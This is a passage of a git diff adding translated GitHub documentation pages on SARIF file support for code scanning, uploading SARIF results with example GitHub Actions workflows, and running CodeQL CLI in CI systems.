+| `partialFingerprints`| **Erforderlich.** Reihe von Zeichenfolgen, die zum Nachverfolgen der eindeutigen Identität des Ergebnisses verwendet werden. Das {% data variables.product.prodname_code_scanning_capc %} verwendet `partialFingerprints`, um genau zu identifizieren, welche commit- und branchübergreifenden Ergebnisse identisch sind. Das {% data variables.product.prodname_code_scanning_capc %} versucht `partialFingerprints` zu verwenden, wenn diese vorhanden sind. Wenn du SARIF-Dateien von Drittanbietern mithilfe von `upload-action` hochlädst, werden von der Aktion `partialFingerprints` für dich erstellt, wenn sie nicht in der SARIF-Datei enthalten sind. Weitere Informationen findest du unter [Bereitstellen von Daten zum Nachverfolgen von ausführungsübergreifenden Warnungen bei der Codeüberprüfung](#providing-data-to-track-code-scanning-alerts-across-runs).  **Hinweis:** Das {% data variables.product.prodname_code_scanning_capc %} verwendet nur `primaryLocationLineHash`.
+| `codeFlows[].threadFlows[].locations[]`| **Optional.** Array von `location`-Objekten für ein `threadFlow`-Objekt, das den Fortschritt eines Programms durch einen Ausführungsthread beschreibt. Ein `codeFlow`-Objekt beschreibt ein Muster der Codeausführung, das zum Erkennen eines Ergebnisses verwendet wird. Wenn Codeflows bereitgestellt werden, erweitert das {% data variables.product.prodname_code_scanning %} Codeflows auf {% data variables.product.prodname_dotcom %} für das relevante Ergebnis. Weitere Informationen findest du im Abschnitt zum [`location`-Objekt](#location-object).
+| `relatedLocations[]`| Reihe von Speicherorten, die für dieses Ergebnis relevant sind. Das {% data variables.product.prodname_code_scanning_capc %} stellt eine Verknüpfung mit zugehörigen Speicherorten her, wenn sie in die Ergebnismeldung eingebettet werden. Weitere Informationen findest du im Abschnitt zum [`location`-Objekt](#location-object).
+
+### `location`-Objekt
+
+Speicherort in einem Programmierartefakt (z. B. eine Datei im Repository oder eine während eines Builds generierte Datei).
+
+| Name | BESCHREIBUNG |
+|----|----|
+| `location.id` | **Optional.** Eindeutiger Bezeichner, der diesen Speicherort von allen anderen Speicherorten innerhalb eines einzelnen Ergebnisobjekts unterscheidet. Zulässiger Bereich für diese Eigenschaft: 0 bis 2^63 – 1.
+| `location.physicalLocation` | **Erforderlich.** Identifiziert das Artefakt und den Bereich. Weitere Informationen findest du unter [`physicalLocation`](#physicallocation-object).
+| `location.message.text` | **Optional.** Meldung, die für den Speicherort relevant ist.
+
+### `physicalLocation`-Objekt
+
+| Name | BESCHREIBUNG |
+|----|----|
+| `artifactLocation.uri`| **Erforderlich.** URI, der den Speicherort eines Artefaktes angibt (in der Regel eine Datei im Repository oder eine während eines Builds generierte Datei). Für optimale Ergebnisse empfehlen wir, einen relativen Pfad zum Stamm des zu analysierenden GitHub-Repositorys anzugeben. Beispiel: `src/main.js`. Weitere Informationen zu Artefakt-URIs findest du unter [Angeben des Stamms für Quelldateien](#specifying-the-root-for-source-files).|
+| `region.startLine` | **Erforderlich.** Zeilennummer des ersten Zeichens im Bereich.
+| `region.startColumn` | **Erforderlich.** Spaltennummer des ersten Zeichens im Bereich.
+| `region.endLine` | **Erforderlich.** Zeilennummer des letzten Zeichens im Bereich.
+| `region.endColumn` | **Erforderlich.** Spaltennummer des Zeichens nach dem Ende des Bereichs.
+
+### `runAutomationDetails`-Objekt
+
+Das `runAutomationDetails`-Objekt enthält Informationen, die die Identität einer Ausführung angeben.
+
+{% note %}
+
+**Hinweis:** `runAutomationDetails` ist ein SARIF v2.1.0-Objekt. Wenn du die {% data variables.product.prodname_codeql_cli %} verwendest, kannst du die zu verwendende SARIF-Version angeben. Das entsprechende Objekt für `runAutomationDetails` ist `<run>.automationId` fpr SARIF v1 und `<run>.automationLogicalId` für SARIF v2.
+
+{% endnote %}
+
+| Name | BESCHREIBUNG |
+|----|----|
+| `id`| **Optional.** Zeichenfolge, die die Kategorie der Analyse und die Ausführungs-ID identifiziert. Verwende sie, wenn du mehrere SARIF-Dateien für dasselbe Tool und denselben Commit hochladen möchtest, dabei aber verschiedene Sprachen oder Teile des Codes verwendest. |
+
+Die Verwendung des `runAutomationDetails`-Objekts ist optional.
+
+Das `id`-Feld kann eine Analysekategorie und eine Ausführungs-ID enthalten. Der Teil mit der Ausführungs-ID des `id`-Felds wird nicht verwendet, aber gespeichert.
+
+Verwende die Kategorie, um zwischen mehreren Analysen für dasselbe Tool oder denselben Commit zu unterscheiden, die jedoch für verschiedene Sprachen oder Teile des Codes ausgeführt werden. Verwende die Ausführungs-ID, um die spezifische Ausführung der Analyse zu identifizieren (z. B. das Datum, an dem die Analyse ausgeführt wurde).
+
+Die `id` wird als `category/run-id` interpretiert. Wenn die `id` keinen Schrägstrich (`/`) enthält, entspricht die gesamte Zeichenfolge der `run_id` und `category` ist leer. Andernfalls entspricht `category` dem Inhalt der Zeichenfolge bis zum letzten Schrägstrich und `run_id` dem danach folgenden Inhalt.
+
+| `id` | category | `run_id` |
+|----|----|----|
+| my-analysis/tool1/2021-02-01 | my-analysis/tool1 | 2021-02-01
+| my-analysis/tool1/ | my-analysis/tool1 | _keine `run-id`_
+| my-analysis for tool1 | _Keine Kategorie_ | my-analysis for tool1
+
+- Die Ausführung mit der `id` „my-analysis/tool1/2021-02-01“ gehört zur Kategorie „my-analysis/tool1“. Vermutlich ist dies die Ausführung vom 2. Februar 2021.
+- Die Ausführung mit der `id` „my-analysis/tool1/“ gehört zur Kategorie „my-analysis/tool1“, wird jedoch nicht von anderen Ausführungen in dieser Kategorie unterschieden.
+- Die Ausführung mit der `id` „my-analysis for tool1“ hat einen eindeutigen Bezeichner, es kann jedoch nicht abgeleitet werden, dass sie zu einer beliebigen Kategorie gehört.
+
+Weitere Informationen zum `runAutomationDetails`-Objekt und dem `id`-Feld findest du im Abschnitt zum [runAutomationDetails-Objekt](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479) in der OASIS-Dokumentation.
+
+Beachte, dass der Rest der unterstützten Felder ignoriert wird.
+
+## SARIF-Ausgabedateibeispiele
+
+Diese SARIF-Ausgabedateibeispiele umfassen unterstützte Eigenschaften und Beispielwerte.
+
+### Beispiel für minimal erforderliche Eigenschaften
+
+Diese SARIF-Ausgabedatei umfasst Beispielwerte, um zu veranschaulichen, welche Eigenschaften mindestens erforderlich sind, damit die {% data variables.product.prodname_code_scanning %}-Ergebnisse wie erwartet funktionieren. Wenn du Eigenschaften entfernst, Werte auslässt oder eine leere Zeichenfolge verwendest, werden diese Daten nicht ordnungsgemäß angezeigt oder mit {% data variables.product.prodname_dotcom %} synchronisiert. 
+
+```json
+{
+  "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
+  "version": "2.1.0",
+  "runs": [
+    {
+      "tool": {
+        "driver": {
+          "name": "Tool Name",
+          "rules": [
+            {
+              "id": "R01"
+                      ...
+              "properties" : {
+                 "id" : "java/unsafe-deserialization",
+                 "kind" : "path-problem",
+                 "name" : "...",
+                 "problem.severity" : "error",
+                 "security-severity" : "9.8",
+               }
+            }
+          ]
+        }
+      },
+      "results": [
+        {
+          "ruleId": "R01",
+          "message": {
+            "text": "Result text. This result does not have a rule associated."
+          },
+          "locations": [
+            {
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "fileURI"
+                },
+                "region": {
+                  "startLine": 2,
+                  "startColumn": 7,
+                  "endColumn": 10
+                }
+              }
+            }
+          ],
+          "partialFingerprints": {
+            "primaryLocationLineHash": "39fa2ee980eb94b0:1"
+          }
+        }
+      ]
+    }
+  ]
+}
+```
+
+### Beispiel mit allen unterstützten SARIF-Eigenschaften
+
+Diese SARIF-Ausgabedatei umfasst Beispielwerte, um alle unterstützten SARIF-Eigenschaften für das {% data variables.product.prodname_code_scanning %} zu veranschaulichen.
+
+```json
+{
+  "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
+  "version": "2.1.0",
+  "runs": [
+    {
+      "tool": {
+        "driver": {
+          "name": "Tool Name",
+          "semanticVersion": "2.0.0",
+          "rules": [
+            {
+              "id": "3f292041e51d22005ce48f39df3585d44ce1b0ad",
+              "name": "js/unused-local-variable",
+              "shortDescription": {
+                "text": "Unused variable, import, function or class"
+              },
+              "fullDescription": {
+                "text": "Unused variables, imports, functions or classes may be a symptom of a bug and should be examined carefully."
+              },
+              "defaultConfiguration": {
+                "level": "note"
+              },
+              "properties": {
+                "tags": [
+                  "maintainability"
+                ],
+                "precision": "very-high"
+              }
+            },
+            {
+              "id": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0",
+              "name": "js/inconsistent-use-of-new",
+              "shortDescription": {
+                "text": "Inconsistent use of 'new'"
+              },
+              "fullDescription": {
+                "text": "If a function is intended to be a constructor, it should always be invoked with 'new'. Otherwise, it should always be invoked as a normal function, that is, without 'new'."
+              },
+              "properties": {
+                "tags": [
+                  "reliability",
+                  "correctness",
+                  "language-features"
+                ],
+                "precision": "very-high"
+              }
+            },
+            {
+              "id": "R01"
+            }
+          ]
+        }
+      },
+      "automationDetails": {
+        "id": "my-category/"
+      },
+      "results": [
+        {
+          "ruleId": "3f292041e51d22005ce48f39df3585d44ce1b0ad",
+          "ruleIndex": 0,
+          "message": {
+            "text": "Unused variable foo."
+          },
+          "locations": [
+            {
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "main.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 2,
+                  "startColumn": 7,
+                  "endColumn": 10
+                }
+              }
+            }
+          ],
+          "partialFingerprints": {
+            "primaryLocationLineHash": "39fa2ee980eb94b0:1",
+            "primaryLocationStartColumnFingerprint": "4"
+          }
+        },
+        {
+          "ruleId": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0",
+          "ruleIndex": 1,
+          "message": {
+            "text": "Function resolvingPromise is sometimes invoked as a constructor (for example [here](1)), and sometimes as a normal function (for example [here](2))."
+          },
+          "locations": [
+            {
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "src/promises.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 2
+                }
+              }
+            }
+          ],
+          "partialFingerprints": {
+            "primaryLocationLineHash": "5061c3315a741b7d:1",
+            "primaryLocationStartColumnFingerprint": "7"
+          },
+          "relatedLocations": [
+            {
+              "id": 1,
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "src/ParseObject.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 2281,
+                  "startColumn": 33,
+                  "endColumn": 55
+                }
+              },
+              "message": {
+                "text": "here"
+              }
+            },
+            {
+              "id": 2,
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "src/LiveQueryClient.js",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 166
+                }
+              },
+              "message": {
+                "text": "here"
+              }
+            }
+          ]
+        },
+        {
+          "ruleId": "R01",
+          "message": {
+            "text": "Specifying both [ruleIndex](1) and [ruleID](2) might lead to inconsistencies."
+          },
+          "level": "error",
+          "locations": [
+            {
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "full.sarif",
+                  "uriBaseId": "%SRCROOT%"
+                },
+                "region": {
+                  "startLine": 54,
+                  "startColumn": 10,
+                  "endLine": 55,
+                  "endColumn": 25
+                }
+              }
+            }
+          ],
+          "relatedLocations": [
+            {
+              "id": 1,
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "full.sarif"
+                },
+                "region": {
+                  "startLine": 81,
+                  "startColumn": 10,
+                  "endColumn": 18
+                }
+              },
+              "message": {
+                "text": "here"
+              }
+            },
+            {
+              "id": 2,
+              "physicalLocation": {
+                "artifactLocation": {
+                  "uri": "full.sarif"
+                },
+                "region": {
+                  "startLine": 82,
+                  "startColumn": 10,
+                  "endColumn": 21
+                }
+              },
+              "message": {
+                "text": "here"
+              }
+            }
+          ],
+          "codeFlows": [
+            {
+              "threadFlows": [
+                {
+                  "locations": [
+                    {
+                      "location": {
+                        "physicalLocation": {
+                          "region": {
+                            "startLine": 11,
+                            "endLine": 29,
+                            "startColumn": 10,
+                            "endColumn": 18
+                          },
+                          "artifactLocation": {
+                            "uriBaseId": "%SRCROOT%",
+                            "uri": "full.sarif"
+                          }
+                        },
+                        "message": {
+                          "text": "Rule has index 0"
+                        }
+                      }
+                    },
+                    {
+                      "location": {
+                        "physicalLocation": {
+                          "region": {
+                            "endColumn": 47,
+                            "startColumn": 12,
+                            "startLine": 12
+                          },
+                          "artifactLocation": {
+                            "uriBaseId": "%SRCROOT%",
+                            "uri": "full.sarif"
+                          }
+                        }
+                      }
+                    }
+                  ]
+                }
+              ]
+            }
+          ],
+          "partialFingerprints": {
+            "primaryLocationLineHash": "ABC:2"
+          }
+        }
+      ],
+      "columnKind": "utf16CodeUnits"
+    }
+  ]
+}
+```
+
diff --git a/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md b/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md
new file mode 100644
index 0000000000..be5b69974b
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md
@@ -0,0 +1,158 @@
+---
+title: Hochladen einer SARIF-Datei in GitHub
+shortTitle: Upload a SARIF file
+intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}'
+permissions: 'People with write permissions to a repository can upload {% data variables.product.prodname_code_scanning %} data generated outside {% data variables.product.prodname_dotcom %}.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/managing-security-vulnerabilities/uploading-a-code-scanning-analysis-to-github
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/uploading-a-sarif-file-to-github
+  - /code-security/secure-coding/uploading-a-sarif-file-to-github
+  - /code-security/secure-coding/integrating-with-code-scanning/uploading-a-sarif-file-to-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - Integration
+  - Actions
+  - Repositories
+  - CI
+  - SARIF
+ms.openlocfilehash: 3def104e487f54e2c48d462d1dcfe8bab63c6fa3
+ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: '148161161'
+---
+{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+## Informationen zu SARIF-Dateiuploads für {% data variables.product.prodname_code_scanning %}
+
+{% data variables.product.prodname_dotcom %} erstellt {% data variables.product.prodname_code_scanning %}-Warnungen in einem Repository mithilfe von Informationen aus den SARIF-Dateien (Static Analysis Results Interchange Format). SARIF-Dateien können mithilfe der API oder {% data variables.product.prodname_actions %} in ein Repository hochgeladen werden. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_code_scanning %}-Warnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository).
+
+Du kannst SARIF-Dateien mit vielen Sicherheitstesttools für statische Analysen generieren, einschließlich {% data variables.product.prodname_codeql %}. Für die Ergebnisse muss SARIF Version 2.1.0 verwendet werden. Weitere Informationen findest du unter [SARIF-Unterstützung für {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning).
+
+Du kannst die Ergebnisse mit {% data variables.product.prodname_actions %}, der {% data variables.product.prodname_code_scanning %}-API,{% ifversion codeql-runner-supported %} dem {% data variables.code-scanning.codeql_runner %}{% endif %} oder der {% data variables.product.prodname_codeql_cli %} hochladen. Die beste Uploadmethode hängt davon ab, wie du die SARIF-Datei generierst, z. B. ob du Folgendes verwendest:
+
+- Wenn du {% data variables.product.prodname_actions %} zum Ausführen der {% data variables.product.prodname_codeql %}-Aktion verwendest, ist keine weitere Aktion erforderlich. Durch die {% data variables.product.prodname_codeql %}-Aktion wird die SARIF-Datei automatisch hochgeladen, wenn die Analyse abgeschlossen ist.
+- Wenn du {% data variables.product.prodname_actions %} verwendest, um ein mit SARIF kompatibles Analysetool auszuführen, kannst du den Workflow aktualisieren, um mit einem finalen Schritt die Ergebnisse hochzuladen (siehe unten).
+ - Wenn du die {% data variables.product.prodname_codeql_cli %} zum Ausführen von {% data variables.product.prodname_code_scanning %} auf deinem CI-System verwendest, kannst du die CLI verwenden, um Ergebnisse in {% data variables.product.prodname_dotcom %} hochzuladen (weitere Informationen unter [Installieren der {% data variables.product.prodname_codeql_cli %} auf deinem CI-System](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)).{% ifversion codeql-runner-supported %}
+- {% data variables.code-scanning.codeql_runner %} wird verwendet, um das {% data variables.product.prodname_code_scanning %} in deinem CI-System auszuführen. Standardmäßig lädt der Runner automatisch die Ergebnisse nach Fertigstellung auf {% data variables.product.prodname_dotcom %} hoch. Falls du den automatischen Upload blockierst: Wenn du bereit bist, Ergebnisse hochzuladen, kannst du den Befehl `upload` verwenden (weitere Informationen findest du unter [Ausführen von {% data variables.code-scanning.codeql_runner %} auf deinem CI-System](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)).{% endif %}
+- Wenn du ein Tool verwendest, das Ergebnisse als Artefakte außerhalb deines Repositorys generiert, kannst du die {% data variables.product.prodname_code_scanning %}-API verwenden, um die Datei hochzuladen (weitere Informationen findest du unter [Hochladen einer Analyse als SARIF-Daten](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)).
+
+{% data reusables.code-scanning.not-available %}
+
+## Hochladen einer {% data variables.product.prodname_code_scanning %}-Analyse mit {% data variables.product.prodname_actions %}
+
+du benötigst einen Workflow, wenn du {% data variables.product.prodname_actions %} verwenden möchtest, um eine SARIF-Datei eines Drittanbieters in ein Repository hochzuladen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions).
+
+In deinem Workflow muss die Aktion `upload-sarif` verwendet werden, die Teil des Repositorys `github/codeql-action` ist. Sie enthält Eingabeparameter, die du zum Konfigurieren des Uploads verwenden kannst. Die wichtigsten Eingabeparameter, die du verwendest, sind folgende:
+
+- Mit `sarif-file` wird die Datei oder das Verzeichnis der SARIF-Dateien zum Hochladen konfiguriert. Das Verzeichnis oder der Dateipfad ist relativ zum Stammverzeichnis des Repositorys.
+- Mit `category` (optional) wird eine Kategorie für Ergebnisse in der SARIF-Datei zugewiesen. So kannst du denselben Commit auf mehrere Arten analysieren und die Ergebnisse mithilfe der {% data variables.product.prodname_code_scanning %}-Ansichten in {% data variables.product.prodname_dotcom %} überprüfen. Du kannst z. B. eine Analyse mithilfe mehrerer Tools durchführen. In Monorepos kannst du verschiedene Slices des Repositorys basierend auf der Teilmenge geänderter Dateien analysieren.
+
+Weitere Informationen findest du unter: [`upload-sarif`-Aktion](https://github.com/github/codeql-action/tree/{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}/upload-sarif).
+
+Die Aktion `upload-sarif` kann so konfiguriert werden, dass sie ausgeführt wird, wenn das Ereignis `push` und das Ereignis `scheduled` auftreten. Weitere Informationen zu {% data variables.product.prodname_actions %}-Ereignissen findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows).
+
+Wenn deine SARIF-Datei keine `partialFingerprints` enthält, berechnet die `upload-sarif`-Aktion das `partialFingerprints`-Feld für dich und versucht, doppelte Warnungen zu verhindern. Von {% data variables.product.prodname_dotcom %} können `partialFingerprints` nur erstellt werden, wenn das Repository sowohl die SARIF-Datei als auch den Quellcode enthält, der in der statischen Analyse verwendet wird. Weitere Informationen zum Verhindern doppelter Warnungen findest du unter [Informationen zur SARIF-Unterstützung für die Codeüberprüfung](/code-security/secure-coding/sarif-support-for-code-scanning#providing-data-to-track-code-scanning-alerts-across-runs).
+
+{% data reusables.code-scanning.upload-sarif-alert-limit %}
+
+### Beispielworkflow für SARIF-Dateien, die außerhalb eines Repositorys generiert wurden
+
+Du kannst einen neuen Workflow erstellen, der SARIF-Dateien hochlädt, nachdem du sie in dein Repository committet hast. Dies ist nützlich, wenn die SARIF-Datei als Artefakt außerhalb deines Repositorys generiert wird.
+
+Dieser Beispielworkflow wird jedes Mal ausgeführt, wenn Commits in das Repository gepusht werden. Die Aktion verwendet die `partialFingerprints`-Eigenschaft, um zu bestimmen, ob Änderungen aufgetreten sind. Zusätzlich zur Ausführung beim Pushen von Commits wird die Ausführung des Workflows ein Mal pro Woche geplant. Weitere Informationen findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows).
+
+Dieser Workflow lädt die `results.sarif`-Datei hoch, die sich im Stammverzeichnis des Repositorys befindet. Weitere Informationen zum Erstellen einer Workflowdatei findest du unter [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions).
+
+Alternativ dazu kannst du diesen Workflow auch ändern, um ein Verzeichnis mit SARIF-Dateien hochzuladen. Beispielsweise kannst du alle SARIF-Dateien in einem Verzeichnis im Stammverzeichnis deines Repositorys mit dem Namen `sarif-output` platzieren und den Eingabeparameter `sarif_file` der Aktion auf `sarif-output` festlegen. Wenn du ein Verzeichnis hochlädst, muss jede SARIF-Datei eine eindeutige `runAutomationDetails.id` zum Definieren der Kategorie für die Ergebnisse enthalten. Weitere Informationen findest du unter: [`runAutomationDetails`-Objekt](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object).
+
+```yaml
+name: "Upload SARIF"
+
+# Run workflow each time code is pushed to your repository and on a schedule.
+# The scheduled workflow runs every Thursday at 15:45 UTC.
+on:
+  push:
+  schedule:
+    - cron: '45 15 * * 4'
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    permissions:
+      # required for all workflows
+      security-events: write
+      # only required for workflows in private repositories
+      actions: read
+      contents: read
+    steps:
+      # This step checks out a copy of your repository.
+      - name: Checkout repository
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Upload SARIF file
+        uses: {% data reusables.actions.action-codeql-action-upload-sarif %}
+        with:
+          # Path to SARIF file relative to the root of the repository
+          sarif_file: results.sarif
+          # Optional category for the results
+          # Used to differentiate multiple results for one commit
+          category: my-analysis-tool
+```
+
+### Beispielworkflow, mit dem das ESLint-Analysetool ausgeführt wird
+
+Wenn du die SARIF-Datei eines Drittanbieters als Teil eines CI-Workflows (Continuous Integration) generierst, kannst du die `upload-sarif`-Aktion als Schritt nach dem Ausführen der CI-Tests hinzufügen. Wenn du noch keinen CI-Workflow hast, kannst du einen mit einer {% data variables.product.prodname_actions %}-Vorlage erstellen. Weitere Informationen findest du in der [Schnellstartanleitung für {% data variables.product.prodname_actions %}](/actions/quickstart).
+
+Dieser Beispielworkflow wird jedes Mal ausgeführt, wenn Commits in das Repository gepusht werden. Die Aktion verwendet die `partialFingerprints`-Eigenschaft, um zu bestimmen, ob Änderungen aufgetreten sind. Zusätzlich zur Ausführung beim Pushen von Commits wird die Ausführung des Workflows ein Mal pro Woche geplant. Weitere Informationen findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows).
+
+Der Workflow zeigt ein Beispiel für das Ausführen des Analysetools ESLint für statische Analysen als Schritt in einem Workflow. Der `Run ESLint`-Schritt führt das ESLint-Tool aus und gibt die `results.sarif`-Datei aus. Anschließend wird in dem Workflow die Datei `results.sarif` mithilfe der Aktion `upload-sarif` in {% data variables.product.prodname_dotcom %} hochgeladen. Weitere Informationen zum Erstellen einer Workflowdatei findest du unter [Einführung in GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions).
+
+```yaml
+name: "ESLint analysis"
+
+# Run workflow each time code is pushed to your repository and on a schedule.
+# The scheduled workflow runs every Wednesday at 15:45 UTC.
+on:
+  push:
+  schedule:
+    - cron: '45 15 * * 3'
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    permissions:
+      # required for all workflows
+      security-events: write
+      # only required for workflows in private repositories
+      actions: read
+      contents: read
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Run npm install
+        run: npm install
+      # Runs the ESlint code analysis
+      - name: Run ESLint
+        # eslint exits 1 if it finds anything to report
+        run: node_modules/.bin/eslint build docs lib script spec-main -f node_modules/@microsoft/eslint-formatter-sarif/sarif.js -o results.sarif || true
+      # Uploads results.sarif to GitHub repository using the upload-sarif action
+      - uses: {% data reusables.actions.action-codeql-action-upload-sarif %}
+        with:
+          # Path to SARIF file relative to the root of the repository
+          sarif_file: results.sarif
+```
+
+## Weiterführende Themen
+
+- [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)
+- [Workflowverlauf anzeigen](/actions/managing-workflow-runs/viewing-workflow-run-history)
+- [Informationen zu {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} auf dem CI-System](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)
+- [Hochladen einer Analyse als SARIF-Daten](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)
diff --git a/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
new file mode 100644
index 0000000000..6390bcc50e
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
@@ -0,0 +1,60 @@
+---
+title: About CodeQL code scanning in your CI system
+shortTitle: Code scanning in your CI
+intro: 'You can analyze your code with {% data variables.product.prodname_codeql %} in a third-party continuous integration system and upload the results to {% data variables.location.product_location %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.'
+product: '{% data reusables.gated-features.code-scanning %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Repositories
+  - Pull requests
+  - Integration
+  - CI
+  - SARIF
+redirect_from:
+  - /code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system
+  - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system
+---
+<!--UI-LINK: When GitHub Enterprise Server 3.1+ doesn't have GitHub Actions set up, the Security > Code scanning alerts view links to this article.-->
+
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+## About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system
+
+{% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
+
+{% data reusables.code-scanning.codeql-context-for-actions-and-third-party-tools %}
+
+<!--Content for GitHub.com, GHAE next, and GHES 3.2 and onward. CodeQL CLI is the preferred method, and CodeQL runner is deprecated. -->
+
+{% data reusables.code-scanning.codeql-cli-context-for-third-party-tools %}
+
+{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %}
+{% data reusables.code-scanning.about-analysis-origins-link %}
+{% endif %}
+
+{% data reusables.code-scanning.upload-sarif-ghas %}
+
+## About the {% data variables.product.prodname_codeql_cli %}
+
+{% data reusables.code-scanning.what-is-codeql-cli %}
+
+Use the {% data variables.product.prodname_codeql_cli %} to analyze:
+
+- Dynamic languages, for example, JavaScript and Python.
+- Compiled languages, for example, C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java.
+- Codebases written in a mixture of languages.
+
+For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
+
+{% data reusables.code-scanning.licensing-note %}
+
+
+<!--Content for GHES 3.1 only. Both CodeQL CLI and CodeQL runner are available -->
diff --git a/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md
new file mode 100644
index 0000000000..de3bc80cfb
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md
@@ -0,0 +1,347 @@
+---
+title: Configuring CodeQL CLI in your CI system
+shortTitle: Configure CodeQL CLI
+intro: 'You can configure your continuous integration system to run the {% data variables.product.prodname_codeql_cli %}, perform {% data variables.product.prodname_codeql %} analysis, and upload the results to {% data variables.product.product_name %} for display as {% data variables.product.prodname_code_scanning %} alerts.'
+product: '{% data reusables.gated-features.code-scanning %}'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Repositories
+  - Pull requests
+  - Integration
+  - CI
+  - SARIF
+---
+{% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+{% ifversion ghes or ghae %}
+{% note %}
+
